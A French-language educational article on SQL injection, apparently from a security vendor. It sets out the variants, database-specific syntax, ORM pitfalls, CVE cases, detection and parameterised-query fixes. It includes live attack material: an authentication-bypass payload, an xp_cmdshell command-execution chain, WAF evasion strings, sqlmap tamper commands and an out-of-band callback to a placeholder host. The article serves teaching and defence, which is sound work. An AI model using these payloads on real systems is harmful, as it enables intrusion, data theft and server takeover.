L'injection SQL (CWE-89, OWASP A03:2021) manipule les requêtes DB pour extraire des identifiants, contourner l'auth et obtenir un RCE via xp_cmdshell ou COPY TO PROGRAM.
TL;DR
$queryRawUnsafe, text() avec f-strings, raw()) contournent toutes les protections ORML'injection SQL (SQLi) est une vulnérabilité de sécurité web où des données contrôlées par l'utilisateur sont concaténées dans des requêtes SQL sans paramétrage, amenant le moteur de base de données à analyser la syntaxe SQL fournie par l'attaquant comme faisant partie de la structure de requête légitime (CWE-89 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL). La base de données ne dispose d'aucun mécanisme pour distinguer le SQL prévu par le développeur du payload injecté par l'attaquant — elle exécute les deux.
Cette vulnérabilité est catégoriquement distincte de l'injection NoSQL (CWE-943), qui cible les bases de données documentaires via l'injection d'opérateurs ($ne, $where), de l'injection de commandes (CWE-78), qui cible les shells OS, et de l'injection de code (CWE-94), qui cible les interpréteurs de l'application. L'injection SQL est limitée à la couche de base de données SQL — sauf quand la base de données elle-même fournit des ponts vers l'OS : xp_cmdshell (MSSQL), COPY TO PROGRAM (PostgreSQL) et INTO OUTFILE (MySQL) convertissent chacun une injection SQL en exécution de commande OS.
OWASP place l'Injection en A03:2021 dans le Top 10 actuel, avec CWE-89 mappé sur 14 000+ CVE dans le NVD. CWE-89 se classe #3 au MITRE/CISA CWE Top 25 Most Dangerous Weaknesses (2024). Le DBIR 2024 de Verizon a attribué 26 % de toutes les violations de données en partie aux attaques sur les applications web où l'injection SQL est le vecteur principal. L'analyse 2024 d'Aikido Security des paquets open-source a trouvé des injections SQL dans 6,7 % de tous les paquets — les organisations ont en moyenne 30 chemins de code injectables par base de code.
La cause fondamentale est la construction de chaînes. Quand le code d'application construit une requête en concaténant des entrées utilisateur — via +, f"", les template literals ou sprintf — le parseur de base de données reçoit une seule chaîne qu'il tokenise comme du SQL. Une apostrophe injectée termine le littéral de chaîne prévu et permet à l'attaquant d'ajouter des tokens SQL arbitraires.
L'attaque se déroule en cinq étapes :
"SELECT * FROM users WHERE id='" + user_id + "'".cursor.execute(query).Un exemple minimal — un formulaire de connexion vulnérable au contournement d'authentification :
POST /login HTTP/1.1
Host: vulnerable.exemple.com
Content-Type: application/x-www-form-urlencoded
username=admin'--&password=nimporte_quoi-- Requête construite par l'application :
SELECT * FROM users WHERE username='admin'--' AND password='nimporte_quoi'
-- Le -- commente la vérification du mot de passe ; la connexion réussit sans le bon mot de passe| Variante | Technique | Impact | Page dédiée |
|---|---|---|---|
| Union | UNION SELECT ajoute un jeu de résultats contrôlé par l'attaquant | Exfiltration directe de données (identifiants, PII) | /learn/sqli-union |
| Erreur | Force des messages d'erreur DB contenant des données de requête | Extraction de données via les chaînes d'erreur | /learn/sqli-error-based |
| Aveugle booléenne | Les conditions VRAI/FAUX produisent des réponses structurellement différentes | Extraction caractère par caractère | /learn/sqli-blind-boolean |
| Aveugle basée sur le temps | SLEEP/WAITFOR DELAY conditionnels encodent les bits dans la latence | Extraction quand les réponses sont identiques | /learn/sqli-time-based |
| Hors-bande (OOB) | La base initie des requêtes DNS/HTTP vers l'attaquant | Exfil quand tous les canaux interbande sont supprimés | /learn/sqli-oob |
| Requêtes empilées | ; termine la requête et ajoute une instruction SQL arbitraire | UPDATE/DROP/EXEC xp_cmdshell → RCE | Couvert ci-dessous |
| Second ordre | Payload stocké dans une requête, exécuté dans une autre | Contourne les WAF et la validation à l'entrée | Couvert ci-dessous |
L'injection Union est le chemin d'extraction de données le plus direct mais nécessite de connaître le nombre de colonnes et d'avoir au moins une colonne compatible avec les chaînes reflétée dans la réponse. L'énumération standard : ORDER BY N-- incrémenté jusqu'à l'erreur, puis UNION SELECT NULL,NULL,...-- pour confirmer, puis remplacer les NULL par 'a' pour trouver les colonnes compatibles avec les chaînes.
Les requêtes empilées dépendent du SGBD. MSSQL et PostgreSQL supportent l'exécution multi-instructions nativement. MySQL nécessite le flag PDO multi_statements. Oracle ne supporte pas les requêtes empilées. La chaîne RCE principale sur MSSQL :
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
'; EXEC xp_cmdshell 'whoami';--L'injection du second ordre stocke le payload dans un endpoint et l'exécute quand un autre endpoint récupère la valeur stockée dans une nouvelle requête non paramétrée. Les scanners DAST standards manquent ce type car aucune erreur, différence temporelle ou changement de réponse ne se produit au point d'injection. Un utilisateur s'inscrit sous admin'-- ; l'application stocke la valeur. Quand un script de réinitialisation admin exécute UPDATE accounts SET password='$new' WHERE username='admin'--', le -- final commente le suffixe de la clause WHERE, réinitialisant le vrai mot de passe admin.
Comprendre la syntaxe spécifique à chaque SGBD est nécessaire pour l'exploitation manuelle et la sélection des scripts tamper. Ce tableau est la référence pour les requêtes « sql injection cheat sheet » — le mot-clé longue traîne le plus recherché en SQLi.
| Fonctionnalité | MySQL | PostgreSQL | MSSQL | Oracle | SQLite |
|---|---|---|---|---|---|
| Délai temporel | SLEEP(N) | pg_sleep(N) | WAITFOR DELAY '0:0:N' | dbms_pipe.receive_message('a',N) | randomblob(N*1000000) |
| Version | @@version | version() | @@version | v$version | sqlite_version() |
| Concat. chaînes | CONCAT() ou espace | || | + | || | || |
| Commentaires | # ou -- | -- | -- | -- | -- |
| Fonction d'erreur | EXTRACTVALUE() | CAST(x AS int) | CONVERT(int,x) | CTXSYS.DRITHSX.SN() | méthode CPU LIKE |
| Primitive OOB | LOAD_FILE() UNC | COPY TO PROGRAM | xp_dirtree DNS | UTL_HTTP / UTL_INADDR | Aucune |
| Requêtes empilées | Partiel (PDO) | Oui | Oui | Non | Oui |
| FROM requis | Non | Non | Non | Oui (FROM DUAL) | Non |
| Table de schéma | information_schema | information_schema | sysobjects + information_schema | all_tables | sqlite_master |
La contrainte FROM DUAL d'Oracle intercepte de nombreux payloads écrits pour d'autres bases de données : ' UNION SELECT NULL,banner,NULL FROM v$version WHERE rownum=1-- est spécifique à Oracle. Le style de commentaire # de MySQL et le mot-clé DISTINCTROW (UNION DISTINCTROW SELECT) contournent les filtres regex simples bloquant UNION SELECT.
Les ORM ne fournissent pas une protection universelle. Chaque ORM majeur expose des fonctions d'échappatoire qui contournent entièrement le paramétrage — et c'est là que se concentrent les CVE en 2024-2025.
Le nommage est trompeur : le $queryRaw de Prisma (template literal taggé) est sûr. $queryRawUnsafe est non sécurisé par conception — il accepte une chaîne brute. Le filter(username=value) de Django est sûr ; filter(**user_dict) avec des clés non validées est injectable (CVE-2025-64459). Connaître la surface API sûre versus non sécurisée est plus important qu'éviter les ORM.
Prisma ($queryRawUnsafe)
// VULNÉRABLE — l'interpolation de chaîne contourne toute protection ORM
const users = await prisma.$queryRawUnsafe(
`SELECT * FROM "User" WHERE email = '${untrustedInput}'`
);
// SÛRE — le template literal taggé paramètre automatiquement
const users = await prisma.$queryRaw`SELECT * FROM "User" WHERE email = ${untrustedInput}`;SQLAlchemy (text() avec f-strings)
# VULNÉRABLE — la f-string dans text() annule le paramétrage
result = db.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))
# SÛRE — paramètres nommés liés
result = db.execute(text("SELECT * FROM users WHERE name = :name"), {"name": name})Django (raw(), extra(), filter(**user_dict))
# VULNÉRABLE — f-string dans raw()
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")
# SÛRE — paramètre positionnel
User.objects.raw("SELECT * FROM users WHERE name = %s", [name])
# VULNÉRABLE — pattern CVE-2025-64459 : expansion de dict non validé
results = MyModel.objects.filter(**user_supplied_dict)
# dict malveillant : {"username": "admin", "_connector": "OR"}
# remodèle l'arbre Q(), injectant du SQL dans la clause WHERE
# SÛRE — n'autoriser que les noms de champs connus
ALLOWED_FIELDS = {"username", "email"}
safe_dict = {k: v for k, v in user_dict.items() if k in ALLOWED_FIELDS}
results = MyModel.objects.filter(**safe_dict)Sequelize (query() avec interpolation)
// VULNÉRABLE — template literal
await sequelize.query(`SELECT * FROM users WHERE id = ${userId}`);
// SÛRE — replacements
await sequelize.query("SELECT * FROM users WHERE id = ?", {
replacements: [userId],
type: QueryTypes.SELECT,
});
// VULNÉRABLE — pattern CVE-2023-25813 (Sequelize < 6.19.1)
// Combiner replacements + options where causait une injection
await sequelize.query("SELECT * FROM users WHERE lastName = :lastName", {
replacements: { lastName },
where: { ... } // NE PAS combiner ces options
});Hibernate (createQuery() avec concaténation)
// VULNÉRABLE — concaténation HQL (pattern CVE-2020-25638)
session.createQuery("FROM User WHERE name = '" + input + "'").list();
// SÛRE — paramètre nommé
session.createQuery("FROM User WHERE name = :name")
.setParameter("name", input)
.list();Les WAF sont une couche de détection, pas une couche de prévention. Un WAF qui bloque les payloads connus ne protège pas contre les techniques suivantes.
Contournement JSON de WAF (Team82/Claroty, 2022) : Palo Alto Networks, AWS WAF, Cloudflare, F5 BIG-IP et Imperva n'inspectaient pas les payloads d'injection SQL formatés en JSON. Les cinq éditeurs ont corrigé après divulgation coordonnée. Les anciens déploiements et configurations de règles personnalisées restent exposés. L'insight fondamental : les règles d'inspection SQL des WAF supposent des corps application/x-www-form-urlencoded ; passer à application/json ou multipart/form-data contourne la plupart des jeux de règles sans aucune modification du payload.
Injection d'opérateur JSON (PostgreSQL, MySQL, SQLite)
-- PostgreSQL : le WAF voit l'opérateur de containement JSON, la BD exécute du SQL
'{"b":2}'::jsonb <@ '{"a":1, "b":2}'::jsonb
-- MySQL : JSON_EXTRACT enveloppe le point d'injection
OR JSON_LENGTH('{}') <= 8896 UNION SELECT @@version--
-- MySQL DISTINCTROW (contourne la regex UNION SELECT)
UNION DISTINCTROW SELECT 1,version(),3--Injection de commentaires et fragmentation de mots-clés
UN/**/ION SEL/**/ECT -- le commentaire brise le mot-clé
UNI%0bON SEL%0bECT -- tabulation verticale (0x0B) comme substitut d'espace
%55nion %53elect -- premier caractère encodé en URL
UNIUNIONON SELSELECTECT -- imbrication de mots-clés (le WAF supprime une fois, le reste est valide)
/*!UNION*/ /*!SELECT*/ -- commentaire conditionnel MySQL (s'exécute uniquement sur MySQL)Encodage et variation de casse
UnIoN SeLeCt -- mélange de casse contourne les filtres sensibles à la casse
%2527 → %27 → ' -- double encodage URL
ʼ (U+02BC) -- caractère Unicode similaire normalisé en apostrophe
SELECT (pleine largeur) -- normalisation NFKC → SELECTScripts tamper sqlmap par éditeur de WAF
| WAF | Scripts tamper |
|---|---|
| Cloudflare | charencode,randomcase,between,greatest |
| AWS WAF | between,hex2char,charencode |
| F5 BIG-IP | randomcase,charencode,versionedmorekeywords |
| Imperva | charencode,equaltolike,randomcase,space2comment |
| ModSecurity | modsecurityzeroversioned,space2comment,between |
| CVE | Produit | CVSS | Auth | Statut |
|---|---|---|---|---|
| CVE-2024-43468 | Microsoft SCCM (MP_Location) | 9.8 | Aucune | CISA KEV, corrigé KB5044285 |
| CVE-2025-25257 | Fortinet FortiWeb Fabric Connector | 9.6 | Aucune | Exploitation active juillet 2025 |
| CVE-2024-1597 | PostgreSQL JDBC (preferQueryMode=SIMPLE) | 10.0 | Aucune | Corrigé pgjdbc 42.7.2+ |
| CVE-2025-1094 | APIs de citation PostgreSQL libpq | 8.1 | Aucune | Corrigé 13.19/14.16/15.11/16.7/17.3 |
| CVE-2025-25181 | Advantive VeraCore (paramètre PmSess1) | 7.5 | Aucune | CISA KEV, corrigé 2025.1.1.3 |
| CVE-2024-42005 | Django QuerySet JSONField values() | 9.8 | Aucune | Corrigé 4.2.15, 5.0.8 |
| CVE-2025-64459 | Django Q() _connector/_negated | 9.1 | Aucune | Corrigé 4.2.26, 5.1.14, 5.2.8 |
| CVE-2023-25813 | Sequelize replacements+where | 10.0 | Aucune | Corrigé 6.19.1+ |
| CVE-2023-34362 | Progress MOVEit Transfer | 9.8 | Aucune | CISA KEV, 80 % des victimes US |
CVE-2024-43468 — Microsoft SCCM (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Les fonctions getMachineID et getContentID du service SCCM MP_Location concaténent directement l'entrée utilisateur dans des requêtes SQL. Une requête HTTP non authentifiée déclenche l'injection, ce qui permet l'activation de xp_cmdshell et un RCE complet sur le serveur SCCM dans le contexte de compte machine à hauts privilèges. Synacktiv a publié un PoC public le 2024-11-26. La CISA l'a ajouté au catalogue KEV le 2026-02-12 avec une échéance de correction fédérale au 2026-03-05.
CVE-2025-25257 — Fortinet FortiWeb (exploitation active confirmée juillet 2025)
Injection SQL pré-authentification dans get_fabric_user_by_token() via l'en-tête Authorization: Bearer. L'endpoint /api/fabric/device/status accepte Bearer AAAAAA'or'1'='1 et retourne 200 OK avec des informations sur l'appareil au lieu de 401 Unauthorized. La chaîne d'impact complète : contournement d'authentification → MySQL INTO OUTFILE → détournement de .pth site-packages Python → RCE pré-auth en root. WatchTowr Labs a publié l'analyse complète de la chaîne.
CVE-2025-1094 — PostgreSQL libpq (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
Signalé par Stephen Fewer chez Rapid7. Les fonctions PostgreSQL PQescapeLiteral(), PQescapeIdentifier(), PQescapeString() et PQescapeStringConn() n'arrivent pas à neutraliser l'injection quand l'entrée contient des caractères qui échouent à la validation d'encodage. Une combinaison client_encoding=BIG5 avec server_encoding=EUC_TW effondre la séquence d'échappement, rendant du code qui appelle les propres fonctions de citation « sûres » de PostgreSQL encore injectable.
Divulgations HackerOne : HackerOne #383127 — Valve Steam, injection de paramètre tableau dans report_xml.php, prime de 25 000 $. HackerOne #868436 — Mail.ru city-mobil.ru, aveugle basée sur le temps via paramètre standard, 15 000 $. HackerOne #2646493 — Internet Bug Bounty, Django CVE-2024-42005 injection ORM sans aucun SQL brut. HackerOne #435066 — injection SQL dans le propre endpoint /graphql de HackerOne via embedded_submission_form_uuid.
Violations notables : Heartland Payment Systems (2008, 130 millions de cartes de crédit/débit via injection SQL dans le traitement des paiements). MOVEit Transfer (2023, CVE-2023-34362, zero-day SQLi affectant 2 600+ organisations dont la BBC, Aon et plusieurs agences fédérales américaines). Equifax (2017, 143 millions de numéros de sécurité sociale).
X-Forwarded-For, User-Agent, Referer, Cookie), arguments GraphQL, champs gRPC.' dans chaque paramètre. Observer : messages d'erreur de base de données (erreur de syntaxe MySQL, ORA-00933, pg_exception), changements de taille de réponse, réponses HTTP 500.AND 1=1-- (attendre la réponse de référence) versus AND 1=2-- (attendre une réponse modifiée). Un différentiel booléen avec un delta de similarité de corps ≥ 10 % est un signal fort.AND SLEEP(2)-- et mesurer le delta T1 ; injecter AND SLEEP(5)-- et mesurer le delta T2. Une injection réelle produit T2/T1 ≈ 2,5. Un pic unique sans proportionnalité est une gigue réseau, pas une injection.'; EXEC master..xp_dirtree '//VOTRE.oastify.com/a'-- (MSSQL). Surveiller Burp Collaborator ou Interactsh pour les callbacks DNS.?sort=1; WAITFOR DELAY '0:0:5'--.sqlmap (standard DAST actuel) avec une stratégie en deux passes :
# Passe de sondage (30 secondes) — établir le SGBD et la technique
sqlmap -u "https://cible.com/search?q=test" \
--technique=BEUST --level=2 --risk=1 \
--batch --timeout=1 --dbms=auto
# Passe approfondie (90–180 secondes) — après confirmation PROBABLE
sqlmap -u "https://cible.com/search?q=test" \
--technique=BEUST --level=3 --risk=2 \
--batch --timeout=3 --time-sec=10
# Contournement WAF — Cloudflare
sqlmap -u "https://cible.com/search?q=test" \
--tamper=charencode,randomcase,between,greatest \
--random-agent --delay=0.5
# Injection du second ordre
sqlmap -u "https://cible.com/store" --data="field=*" \
--second-url="https://cible.com/trigger" \
--technique=BEUST --level=2Semgrep SAST (semgrep --config p/sql-injection) détecte la concaténation de chaînes dans les appels de requête en Python, Java, JavaScript/TypeScript, PHP, Go et Ruby au moment de la CI/CD — avant le déploiement.
CodeQL construit un graphe de flux de données complet et trace les entrées HTTP taintées à travers les appels de fonctions jusqu'aux sinks d'exécution SQL. Exécuter Semgrep à chaque PR et CodeQL chaque nuit pour une couverture complémentaire.
Compromis DAST vs. SAST : le SAST couvre 100 % de la base de code y compris le code mort mais génère des faux positifs par manque de contexte. Le DAST ne couvre que les endpoints accessibles mais produit peu de faux positifs avec une confirmation basée sur des preuves. L'IAST (instrumentation à l'exécution) comble les deux. L'alerte Secure by Design de la CISA de mars 2024 demande d'éliminer les injections SQL au niveau du langage/framework, pas seulement de les détecter après déploiement.
BreachVex détecte l'injection SQL via plusieurs techniques complémentaires : sondage par apostrophe et mots-clés d'erreur, analyse différentielle booléenne vrai/faux, validation proportionnelle par délai temporel, et confirmation par callback DNS hors-bande — chaque finding est escaladé jusqu'à une preuve d'exploitation fonctionnelle.
import psycopg2
from sqlalchemy import text
# VULNÉRABLE — concaténation de chaînes
cursor.execute("SELECT * FROM users WHERE username = '" + username + "'")
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
# SÛRE — paramétré (psycopg2)
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
# SÛRE — ORM SQLAlchemy
user = session.query(User).filter(User.username == username).first()
# VULNÉRABLE — text() avec f-string
result = db.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))
# SÛRE — text() avec paramètre lié
result = db.execute(text("SELECT * FROM users WHERE name = :name"), {"name": name})// VULNÉRABLE — template literal
await client.query(`SELECT * FROM users WHERE username = '${username}'`);
// SÛRE — pg paramétré
const result = await client.query(
"SELECT * FROM users WHERE username = $1",
[username]
);
// SÛRE — ORM Sequelize
const user = await User.findOne({ where: { username } });
// VULNÉRABLE — Sequelize brut
await sequelize.query(`SELECT * FROM users WHERE id = ${userId}`);
// SÛRE — Sequelize replacements
await sequelize.query("SELECT * FROM users WHERE id = ?", {
replacements: [userId],
type: QueryTypes.SELECT,
});
// SÛRE — Prisma template literal taggé (PAS $queryRawUnsafe)
const users = await prisma.$queryRaw`SELECT * FROM "User" WHERE email = ${email}`;// VULNÉRABLE — concaténation de chaînes
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = conn.createStatement();
// SÛRE — PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
"SELECT * FROM users WHERE username = ?"
);
stmt.setString(1, username);
ResultSet rs = stmt.executeQuery();
// SÛRE — paramètre nommé JPA
@Query("SELECT u FROM User u WHERE u.username = :username")
User findByUsername(@Param("username") String username);
// SÛRE — paramètre nommé Hibernate
session.createQuery("FROM User WHERE name = :name")
.setParameter("name", input).list();// VULNÉRABLE — interpolation de chaîne
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query);
// SÛRE — requête préparée PDO
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
// SÛRE — requête préparée MySQLi
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $username);
$stmt->execute();// VULNÉRABLE — formatage de chaîne
query := fmt.Sprintf("SELECT * FROM users WHERE username = '%s'", username)
rows, err := db.Query(query)
// SÛRE — paramétré
rows, err := db.Query("SELECT * FROM users WHERE username = $1", username)# VULNÉRABLE — interpolation de chaîne
User.where("username = '#{params[:username]}'")
# SÛRE — paramétré
User.where("username = ?", params[:username])
User.where(username: params[:username]) # syntaxe hash, toujours sûre// VULNÉRABLE — concaténation de chaînes
string query = "SELECT * FROM Users WHERE Username = '" + username + "'";
SqlCommand cmd = new SqlCommand(query, conn);
// SÛRE — paramètres SqlCommand
SqlCommand cmd = new SqlCommand(
"SELECT * FROM Users WHERE Username = @username", conn);
cmd.Parameters.AddWithValue("@username", username);
// SÛRE — EF Core LINQ (paramétré automatiquement)
var user = context.Users.Where(u => u.Username == username).FirstOrDefault();
// VULNÉRABLE — SQL brut EF avec interpolation
var user = context.Users.FromSqlRaw($"SELECT * FROM Users WHERE Username = '{username}'");
// SÛRE — SQL brut EF avec paramètre
var user = context.Users.FromSqlRaw(
"SELECT * FROM Users WHERE Username = {0}", username);Comptes DB avec moindre privilège : séparer les utilisateurs de base de données par fonction d'application — la page de connexion obtient SELECT sur la table users uniquement ; l'inscription obtient INSERT ; ne jamais accorder DBA, SUPER, FILE ou EXECUTE ON xp_cmdshell. Un attaquant qui réussit une injection SQL contre un compte db_owner a le contrôle total de la base de données ; contre un compte SELECT-uniquement minimal, l'impact est limité à la lecture.
Procédures stockées avec mises en garde : les procédures stockées offrent une protection équivalente seulement quand elles n'utilisent pas de SQL dynamique en interne. Une procédure Oracle utilisant EXECUTE IMMEDIATE 'SELECT * FROM users WHERE name = ''' || p_name || '''' est aussi vulnérable que la concaténation au niveau de l'application. Utiliser des variables de liaison : EXECUTE IMMEDIATE 'SELECT * FROM users WHERE name = :name' USING p_name.
Surveillance de l'activité de base de données (DAM) : couche de détection à l'exécution — alerter sur les requêtes contenant UNION, SLEEP, WAITFOR, xp_cmdshell, ou des patterns d'extraction massive (>N lignes depuis des tables sensibles). PostgreSQL pgaudit, Oracle Unified Auditing et MSSQL Server Audit fournissent des logs au niveau base de données que les WAF ne peuvent pas voir.
Le SQL Injection Prevention Cheat Sheet de l'OWASP classe explicitement l'échappement comme « fortement déconseillé » comme défense principale. Cinq raisons : (1) Les règles d'échappement diffèrent par base de données — correctes pour MySQL, fausses pour Oracle. (2) Les paramètres numériques et les identifiants (noms de tables, colonnes ORDER BY) ne peuvent pas être échappés en toute sécurité — seulement validés par liste d'autorisation. (3) Les attaques par encodage multi-octets (CVE-2025-1094 démontre que BIG5+EUC_TW effondre les propres fonctions d'échappement de PostgreSQL). (4) L'injection du second ordre annule l'échappement par conception — les données échappées stockées dans la base de données reviennent à leur forme originale lors de la récupération. (5) L'erreur humaine — un seul chemin d'entrée non échappé dans une base de code de milliers effondre toute la défense. L'alerte Secure by Design de la CISA de mars 2024 demande aux éditeurs d'éliminer l'injection SQL comme classe de vulnérabilité, pas de mitiger des instances individuelles.
Qu'est-ce que l'injection SQL ? L'injection SQL (SQLi, CWE-89) est une vulnérabilité où les données fournies par l'utilisateur sont concaténées dans des requêtes SQL sans paramétrage, amenant la base de données à exécuter le payload de l'attaquant comme faisant partie de la structure de la requête. L'impact va de la divulgation de données et du contournement d'authentification à la prise de contrôle complète de la base de données et au RCE au niveau OS.
Quelle est la différence entre l'injection SQL et l'injection NoSQL ?
L'injection SQL (CWE-89) cible les bases de données relationnelles via l'injection de syntaxe SQL. L'injection NoSQL (CWE-943) cible les bases documentaires comme MongoDB en injectant des opérateurs de requête ($ne, $gt, $where) dans des objets de requête JSON. Payloads différents, API de prévention différentes — les deux contournent l'authentification et exfiltrent des données.
Qu'est-ce que l'injection SQL du second ordre ?
L'injection du second ordre stocke un payload dans un endpoint et l'exécute quand un autre endpoint récupère la valeur stockée dans une nouvelle requête non paramétrée. Les scanners standards manquent ce type car le point d'injection et le point d'exécution sont des requêtes différentes. Utiliser sqlmap --second-url ou le traçage manuel du code.
L'injection SQL peut-elle mener à un RCE ?
Oui. MSSQL : l'activation de xp_cmdshell via des requêtes empilées donne un RCE OS complet. PostgreSQL : COPY TO PROGRAM exécute des commandes shell. MySQL : INTO OUTFILE écrit des webshells sur disque. CVE-2025-25257 (FortiWeb) a démontré la chaîne complète : injection SQL pré-auth → RCE en root.
L'utilisation d'un ORM protège-t-elle contre l'injection SQL ?
Partiellement. Les méthodes du query builder ORM sont sûres par défaut. Les échappatoires contournent toute protection : Prisma $queryRawUnsafe, SQLAlchemy text() avec f-strings, Django raw(), extra() et filter(**dict_non_validé) (CVE-2025-64459). Auditer chaque appel de requête brute dans votre base de code.
Les requêtes préparées sont-elles suffisantes pour prévenir l'injection SQL ?
Dans la plupart des cas, oui. Deux cas limites subsistent : les identifiants ne peuvent pas être paramétrés (utiliser des listes d'autorisation) ; certains drivers ont des bugs d'implémentation (CVE-2024-1597 : PostgreSQL JDBC preferQueryMode=SIMPLE revient silencieusement aux requêtes littérales, CVSS 10.0).
Qu'est-ce que le contournement JSON de WAF pour l'injection SQL ? Team82/Claroty (2022) a découvert que cinq grands éditeurs de WAF n'inspectaient pas les payloads SQL formatés en JSON. Tous ont corrigé après divulgation coordonnée. Les anciens déploiements restent exposés. Les WAF sont une couche de détection — ils ne peuvent pas remplacer les requêtes paramétrées.
Quel pourcentage des violations de données implique l'injection SQL ? Le DBIR 2024 de Verizon : 26 % de toutes les violations de données. CWE-89 au #3 du MITRE/CISA CWE Top 25 (2024). 4 CVE SQLi ajoutés au CISA KEV en 2024. Aikido Security : 6,7 % des paquets open-source analysés.
Qu'est-ce que CVE-2025-1094 ?
CVSS 8.1. Les fonctions de citation PQescapeLiteral et PQescapeString de PostgreSQL libpq (versions 13–17) n'arrivent pas à neutraliser l'injection quand une combinaison spécifique d'encodage multi-octets (BIG5 + EUC_TW) effondre la séquence d'échappement. Signalé par Stephen Fewer chez Rapid7, publié en février 2025.
Comment détecter l'injection SQL ?
Manuellement : test de l'apostrophe, différentiel booléen (AND 1=1 vs AND 1=2), délai temporel proportionnel (SLEEP(2) vs SLEEP(5), ratio ≈ 2,5). Automatiquement : sqlmap pour le DAST, Semgrep p/sql-injection pour le SAST, Burp Suite Pro avec Collaborator pour les variantes OOB à l'aveugle.
Quelles sont les violations par injection SQL les plus célèbres ? Heartland Payment Systems (2008, 130 millions de cartes). MOVEit Transfer (2023, 2 600+ organisations, CISA KEV). Equifax (2017, 143 millions de numéros de sécurité sociale). Sony PSN (2011, 77 millions d'utilisateurs). Ces violations ont collectivement affecté plus de 500 millions de personnes et ont entraîné des milliards de dollars d'amendes et de coûts de remédiation.
L'injection SQL (SQLi, CWE-89) est une vulnérabilité où les données fournies par l'utilisateur sont concaténées dans une requête SQL sans paramétrage. La base de données exécute simultanément la structure de requête prévue et le payload contrôlé par l'attaquant. L'impact va de la divulgation de données et du contournement de l'authentification à la prise de contrôle complète de la base de données et à l'exécution de code à distance au niveau OS.
L'injection SQL (CWE-89) cible les bases de données relationnelles en injectant de la syntaxe SQL dans des chaînes de requête. L'injection NoSQL (CWE-943) cible les bases de données documentaires comme MongoDB en injectant des opérateurs de requête ($ne, $gt, $regex, $where) dans des corps JSON. Les payloads et les API de prévention sont totalement différents, mais les deux permettent de contourner l'authentification et d'exfiltrer des données.
L'injection SQL manipule un parseur de requête de base de données pour lire ou modifier des données. L'injection de commandes (CWE-78) manipule un shell OS pour exécuter des binaires arbitraires. L'injection SQL est limitée à la couche base de données — sauf quand la base fournit des ponts vers l'OS : xp_cmdshell (MSSQL), COPY TO PROGRAM (PostgreSQL) et INTO OUTFILE (MySQL) convertissent une injection SQL en exécution de commande OS.
L'injection du second ordre stocke un payload dans un endpoint (inscription, mise à jour de profil) et l'exécute quand un autre endpoint récupère la valeur stockée et l'intègre dans une nouvelle requête SQL sans paramétrage. Les scanners standards manquent ce type car le point d'injection et le point d'exécution sont des requêtes différentes. La détection nécessite sqlmap --second-url ou une revue manuelle du code.
L'injection SQL à l'aveugle couvre deux sous-types. L'aveugle booléenne injecte des conditions vrai/faux et infère des données à partir de réponses structurellement différentes. L'aveugle basée sur le temps injecte des fonctions de sommeil conditionnelles (SLEEP, WAITFOR DELAY, pg_sleep) et mesure la latence de réponse. Aucune de ces deux variantes ne requiert de messages d'erreur visibles ni de données reflétées.
L'injection SQL OOB déclenche des connexions réseau sortantes depuis le serveur de base de données vers un écouteur contrôlé par l'attaquant. MSSQL utilise xp_dirtree pour l'exfiltration DNS. Oracle utilise UTL_HTTP ou UTL_INADDR. PostgreSQL utilise COPY TO PROGRAM. Les données sont encodées dans des sous-domaines DNS ou des chemins HTTP. L'OOB est utilisée quand tous les canaux interbande sont supprimés et que la méthode basée sur le temps est trop lente.
Oui. Sur MSSQL : xp_cmdshell permet l'exécution de commandes OS via des requêtes empilées, aboutissant à un RCE complet. Sur PostgreSQL : COPY TO PROGRAM exécute des commandes shell (nécessite le rôle pg_execute_server_program). Sur MySQL : INTO OUTFILE peut écrire un webshell PHP dans un chemin accessible via le web. CVE-2025-25257 (FortiWeb) a démontré la chaîne complète : injection SQL pré-auth → RCE en root.
En 2022, Team82 (Claroty) a découvert que Palo Alto, AWS WAF, Cloudflare, F5 et Imperva n'inspectaient pas les payloads d'injection SQL formatés en JSON. Les cinq éditeurs ont corrigé après divulgation coordonnée. Les déploiements plus anciens et les configurations de règles personnalisées restent exposés. L'idée centrale : les règles d'inspection SQL des WAF supposent des corps application/x-www-form-urlencoded ; passer à application/json contourne la plupart des jeux de règles.
Partiellement. Les méthodes du query builder ORM (Django filter(), SQLAlchemy query(), Sequelize findOne()) sont sûres par défaut. Mais chaque ORM expose des échappatoires qui contournent toute protection : Prisma $queryRawUnsafe(), SQLAlchemy text() avec des f-strings, Django raw() et extra(), Sequelize query() avec interpolation de chaînes, Hibernate createQuery() avec concaténation. CVE-2024-42005 a démontré que même des appels ORM Django standards peuvent être injectables via la construction d'alias de colonnes JSON.
Les requêtes préparées sont la défense principale et éliminent l'injection dans la grande majorité des cas. Deux cas limites subsistent : les identifiants (noms de tables, de colonnes, direction ORDER BY) ne peuvent pas être paramétrés et doivent être validés par liste d'autorisation ; certains drivers ont des bugs d'implémentation — CVE-2024-1597 (PostgreSQL JDBC, CVSS 10.0) montrait que preferQueryMode=SIMPLE revenait silencieusement à une construction littérale de requête.
Manuellement : ajoutez une apostrophe à chaque paramètre et observez les messages d'erreur, les changements de taille de réponse ou les erreurs serveur. Envoyez AND 1=1 versus AND 1=2 et comparez les réponses. Envoyez SLEEP(5) et mesurez la latence. En automatique : sqlmap -u TARGET --batch --dbs pour le DAST. Règle Semgrep p/sql-injection pour le SAST. Burp Suite Pro avec Collaborator OOB pour les variantes à l'aveugle.
